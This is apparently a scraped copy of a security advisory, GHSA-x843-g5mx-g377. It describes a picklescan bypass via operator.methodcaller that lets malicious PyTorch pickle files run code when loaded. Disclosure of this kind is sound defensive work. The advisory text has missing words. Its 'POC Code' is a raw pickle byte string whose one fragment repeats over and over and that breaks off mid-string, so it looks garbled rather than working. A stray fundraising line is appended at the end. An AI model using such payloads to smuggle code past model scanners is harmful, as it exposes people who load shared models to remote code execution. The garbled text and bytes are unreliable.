GHSA-x843-g5mx-g377: picklescan bypass allows remote code execution in PyTorch pickle files

Vulnerability Overview Vulnerability Title: Missing detection when calling built-in python operator.methodcaller Vulnerability ID: GHSA-x843-g5mx-g377 Severity: Moderate Publication Date: December 27, 2025 Reporter: Coolwind#8 (Reporter) Description Use of (a built-in Python library function) to execute a remote pickle file. Details The exploit payload is executed in the following steps: 1. The attacker constructs the payload by calling the function within the method. 2. When the victim scans the pickle file for safety using the Picklescan library, the library fails to detect any dangerous functions, deciding it is safe to load the malicious pickle file, thereby resulting in remote code execution (RCE). Impact Any organization or individual relying on to detect malicious pickle files embedded within PyTorch models. Attackers can embed malicious code in pickle files that remains undetected during the loading process. Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. Remediation Affected Versions: < 0.33 Fixed Version: 0.33 POC Code ```python import pickle import pickletools opcode = b'\x80\x04\x95\x11\x00\x00\x00\x00\x00\x00\x00\x8c\x04builtins\x94\x8c\x08methodcaller\x94\x93\x94\x8c\x05Vvvvme\x94\x8c\x04pow\x94\x93\x94\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x08operator\x94\x8c\x0emethodcaller\x94\x93\x94\x8c\x05Vvvvme\x94\x8c\x04pow\x94\x93\x94\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x08operator\x94\x8c\x0emethodcaller\x94\x93\x94\x8c\x05Vvvvme\x94\x8c\x04pow\x94\x93\x94\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x08operator\x94\x8c\x0emethodcaller\x94\x93\x94\x8c\x05Vvvvme\x94\x8c\x04pow\x94\x93\x94\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x08operator\x94\x8c\x0emethodcaller\x94\x93\x94\x8c\x05Vvvvme\x94\x8c\x04pow\x94\x93\x94\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x08operator\x94\x8c\x0emethodcaller\x94\x93\x94\x8c\x05Vvvvme\x94\x8c\x04pow\x94\x93\x94\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x08operator\x94\x8c\x0emethodcaller\x94\x93\x94\x8c\x05Vvvvme\x94\x8c\x04pow\x94\x93\x94\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x08operator\x94\x8c\x0emethodcaller\x94\x93\x94\x8c\x05Vvvvme\x94\x8c\x04pow\x94\x93\x94\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x08operator\x94\x8c\x0emethodcaller\x94\x93\x94\x8c\x05Vvvvme\x94\x8c\x04pow\x94\x93\x94\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x08operator\x94\x8c\x0emethodcaller\x94\x93\x94\x8c\x05Vvvvme\x94\x8c\x04pow\x94\x93\x94\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x08operator\x94\x8c\x0emethodcaller\x94\x93\x94\x8c\x05Vvvvme\x94\x8c\x04pow\x94\x93\x94\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x08operator\x94\x8c\x0emethodcaller\x94\x93\x94\x8c\x05Vvvvme\x94\x8c\x04pow\x94\x93\x94\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x08operator\x94\x8c\x0emethodcaller\x94\x93\x94\x8c\x05Vvvvme\x94\x8c\x04pow\x94\x93\x94\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x08operator\x94\x8c\x0emethodcaller\x94\x93\x94\x8c\x05Vvvvme\x94\x8c\x04pow\x94\x93\x94\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x08operator\x94\x8c\x0emethodcaller\x94\x93\x94\x8c\x05Vvvvme\x94\x8c\x04pow\x94\x93\x94\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x08operator\x94\x8c\x0emethodcaller\x94\x93\x94\x8c\x05Vvvvme\x94\x8c\x04pow\x94\x93\x94\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x08operator\x94\x8c\x0emethodcaller\x94\x93\x94\x8c\x05Vvvvme\x94\x8c\x04pow\x94\x93\x94\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x08operator\x94\x8c\x0emethodcaller\x94\x93\x94\x8c\x05Vvvvme\x94\x8c\x04pow\x94\x93\x94\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x08operator\x94\x8c\x0emethodcaller\x94\x93\x94\x8c\x05Vvvvme\x94\x8c\x04pow\x94\x93\x94\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x08operator\x94\x8c\x0emethodcaller\x94\x93\x94\x8c\x05Vvvvme\x94\x8c\x04pow\x94\x93\x94\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x08operator\x94\x8c\x0emethodcaller\x94\x93\x94\x8c\x05Vvvvme\x94\x8c\x04pow\x94\x93\x94\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x08operator\x94\x8c\x0emethodcaller\x94\x93\x94\x8c\x05Vvvvme\x94\x8c\x04pow\x94\x93\x94\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x08operator\x94\x8c\x0emethodcaller\x94\x93\x94\x8c\x05Vvvvme\x94\x8c\x04pow\x94\x93\x94\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x08operator\x94\x8c\x0emethodcaller\x94\x93\x94\x8c\x05Vvvvme\x94\x8c\x04pow\x94\x93\x94\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x08operator\x94\x8c\x0emethodcaller\x94\x93\x94\x8c\x05Vvvvme\x94\x8c\x04pow\x94\x93\x94\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x08operator\x94\x8c\x0emethodcaller\x94\x93\x94\x8c\x05Vvvvme\x94\x8c\x04pow\x94\x93\x94\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x08operator\x94\x8c\x0emethodcaller\x94\x93\x94\x8c\x05Vvvvme\x94\x8c\x04pow\x94\x93\x94\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x08operator\x94\x8c\x0emethodcaller\x94\x93\x94\x8c\x05Vvvvme\x94\x8c\x04pow\x94\x93\x94\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x08operator\x94\x8c\x0emethodcaller\x94\x93\x94\x8c\x05Vvvvme\x94\x8c\x04pow\x94\x93\x94\x8c\x04\x00\x00\x00\x00\x00\x00\x00\x8c\x08operator\x94\x8c\x0emethodcaller\x94\x93\x94\x8c\x05Vvvvme\x

Goal Reached Thanks to every supporter — we hit 100%!

GHSA-x843-g5mx-g377: picklescan bypass allows remote code execution in PyTorch pickle files

More from this source